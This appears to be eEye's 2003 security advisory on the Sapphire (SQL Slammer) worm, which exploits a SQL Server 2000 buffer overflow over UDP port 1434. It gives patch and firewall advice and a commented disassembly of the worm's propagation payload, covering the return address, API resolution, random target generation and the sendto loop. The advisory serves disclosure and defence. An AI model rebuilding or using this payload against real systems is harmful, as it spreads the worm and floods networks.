Late Friday, January 24, 2003 we became aware of a new SQL worm spreading quickly across various networks around the world.

Release Date: 1/25/03

Severity: High

Systems Affected: Microsoft SQL Server 2000 pre SP 2

Late Friday, January 24, 2003 we became aware of a new SQL worm spreading quickly across various networks around the world.

The worm is spreading using a buffer overflow to exploit a flaw in Microsoft SQL Server 2000. The SQL 2000 server flaw was discovered in July, 2002 by Next Generation Security Software Ltd. The buffer overflow exists because of the way SQL improperly handles data sent to its Microsoft SQL Monitor port. Attackers leveraging this vulnerability will be executing their code as SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges.

The worm works by generating pseudo-random IP addresses to try to infect with its payload. The worm payload does not contain any additional malicious content (in the form of backdoors etc.); however, because of the nature of the worm and the speed at which it attempts to re-infect systems, it can potentially create a denial-of-service attack against infected networks.

We have been able to verify that multiple points of connectivity on the Internet have been bogged down since 9pm Pacific Standard Time.

It should be noted that this worm is not the same as an earlier SQL worm that used the SA/nopassword SQL vulnerability as its spread vector. This is a new worm is more devastating as it is taking advantage of a software-specific flaw rather than a configuration error. We have already had many reports of smaller networks brought down due to the flood of data from the Sapphire Worm trying to re-infect new systems.

Corrective Action:
We recommend that people immediately firewall SQL service ports at all of their gateways. The worm uses only UDP port 1434 (SQL Monitor Port) to spread itself to a new system; however, it is safe practice to filter all SQL traffic at all gateways. The following is a list of SQL server ports:
ms-sql-s 1433/tcp #Microsoft-SQL-Server
ms-sql-s 1433/udp #Microsoft-SQL-Server
ms-sql-m 1434/tcp #Microsoft-SQL-Monitor
ms-sql-m 1434/udp #Microsoft-SQL-Monitor

Once again this worm is taking advantage of a known vulnerability that has had a patch available for many months. Microsoft has also released a recent service pack for SQL (Service Pack 3) that includes a fix for this vulnerability.

Standalone patch:

SQL 2000 Service Pack 3:

Previous SQL Service Pack versions are vulnerable.

Technical Description
The following is a quick run-down of what the worm's payload is doing after infection:

1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in sqlsort.dll. It snags the necessary library base addresses and function entry points as needed.

2. Calls gettickcount, and uses returned count as a pseudo-random seed

3. Creates a UDP socket

4. Performs a simple pseudo random number generation formula using the returned gettickcount value to generate an IP Address that will later be used as the target.

5. Send worm payload in a SQL Server Resolution Service request to the pseudo random target address, on port 1434 (UDP).

6. Return back to formula and continue generating new pseudo random addresses.

push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp
mov eax, 1010101h ; Reconstruct session, after the
overflow the payload buffer
; get's corrupted during program
execution but before the
; payload is executed. .
xor ecx, ecx
mov cl, 18h

push eax
loop FIXUP
xor eax, 5010101h
push eax
mov ebp, esp
push ecx
push 6C6C642Eh
push 32336C65h
push 6E72656Bh ; kernel32
push ecx
push 746E756Fh ; GetTickCount
push 436B6369h
push 54746547h
mov cx, 6C6Ch
push ecx
push 642E3233h ; ws2_32.dll
push 5F327377h
mov cx, 7465h
push ecx
push 6B636F73h ; socket
mov cx, 6F74h
push ecx
push 646E6573h ; sendto
mov esi, 42AE1018h ; IAT from sqlsort
lea eax, [ebp-2Ch] ; (ws2_32.dll)
push eax
call dword ptr [esi] ; call loadlibrary
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-10h] ; (kernel32.dll)
push eax
call dword ptr [esi] ; loadlibrary
push eax
mov esi, 42AE1010h ; IAT from sqlsort
mov ebx, [esi]
mov eax, [ebx]
cmp eax, 51EC8B55h ; check entry point fingerprint
jz short VALID_GP ; Check entry point fingerprint for
getprocaddress, if it failes
; fall back to GetProcAddress entry
in another DLL version.
; Undetermined what dll versions
this will succedd on. Due
; to the lack of reliable importing
this may not work across all
; dll versions.
mov esi, 42AE101Ch ; IAT entry -> 77EA094C

call dword ptr [esi] ; GetProcAddress
call eax ; return from GetProcaddress =
GetTickCount entrypoint
xor ecx, ecx
push ecx
push ecx
push eax
xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; 9A050002 = port 1434 / AF_INET
lea eax, [ebp-34h] ; (socket)
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
push 11h
push 2
push 2
call eax ; socket
push eax
lea eax, [ebp-3Ch] ; sendto
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
mov esi, eax ; save sendto -> esi
or ebx, ebx
xor ebx, 0FFD9613Ch

mov eax, [ebp-4Ch] ; Pseudo Random Algorithm Start
lea ecx, [eax+eax*2]
lea edx, [eax+ecx*4]
shl edx, 4
add edx, eax
shl edx, 8
sub edx, eax
lea eax, [eax+edx*4]
add eax, ebx ; Pseudo Random Algorithm End
mov [ebp-4Ch], eax
push 10h
lea eax, [ebp-50h]
push eax
xor ecx, ecx
push ecx
xor cx, 178h
push ecx
lea eax, [ebp+3]
push eax
mov eax, [ebp-54h]
push eax
call esi ; sendto
jmp short PRND ; Jump back to Pseudo Random Algorithm
In Closing
We have provided brief information here as we are currently working to understand more of the worm's internal behavior. We will provide updates as they become available.

This worm has been dubbed the "Sapphire Worm" by eEye due to the fact that several engineers had to be pulled away from local bars to begin the investigation/dissection process.

Riley Hassell

Related Links:

Microsoft Security Bulletin:

Please send suggestions, updates, and comments to:

eEye Digital Security